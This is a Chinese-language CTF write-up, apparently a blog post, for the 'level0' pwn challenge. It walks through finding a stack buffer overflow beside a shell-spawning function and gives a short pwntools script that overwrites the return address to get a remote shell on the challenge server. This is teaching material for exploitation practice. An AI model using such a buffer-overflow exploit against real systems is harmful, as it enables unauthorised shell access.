淘先锋技术网

首页 1 2 3 4 5 6 7

level0

老规矩哦,我们先checksec一下,收集一下信息
在这里插入图片描述64位程序,开了NX,没啥说的,还在接受范围内,运行一下试试
在这里插入图片描述
唔,没啥东西,继续IDA吧。(╯‵□′)╯︵┴─┴
在这里插入图片描述在这里插入图片描述
emmm,主函数倒是挺简单的,就一行打印,一行输入

但…不知你们有米有发现有个很奇怪的函数名,我们悄悄的瞅一瞅
在这里插入图片描述
果然不对劲,首先它的名字中有个system(手动加粗),这个是什么东西嘞,简单的来说,它拥有系统的最高权限,啥都能干,而它和**“/bin/sh”**连在一起则可以给我提供一个类似cmd的东西,我们可以用它来进行查看/修改/操作等动作。
那么总结一下,现在我们已经有了一个可以获取系统权限的函数,利用它我们可以手动去查找flag
那么问题来了,我们应该如何让程序去执行这个函数呢?

重点来了(敲黑板!!!)

我们观察一下read函数读取时读取了多少东西(字符?字节?以后填坑)
在这里插入图片描述
发现了么?发现了么?发现了么?(重要的事情说三遍)
buf这个字符数组的长度只有0x80,而我们可以输入0x200的东西,哇,是不是很刺激,我们的输入不但可以填充满真个数组还能覆盖掉数组外面的东西,那这样又能干什么呢?
我们先看一下数组后面紧跟的是什么东西,继续在栈中看
在这里插入图片描述
当属于数组的空间结束后(到0x0000000000000000时),首先,有一个s,8个字节长度,其次是一个r,重点就在这,r中存放着的就是返回地址。即当read函数结束后,程序下一步要到的地方。

那这样岂不是很美滋滋?我们可以输入好长好长的数据,完全可以覆盖这个r。ok了,分析完毕,上exp

from pwn import * 

r = remote("111.198.29.45", 34012)

payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596)

r.recvuntil("Hello, World\n")
r.sendline(payload)

r.interactive()

瞅瞅结果?
在这里插入图片描述
搞完收工,我们下次见,挥挥

最后放一下我的博客(www.buryia.top),有兴趣的师傅们可以来逛逛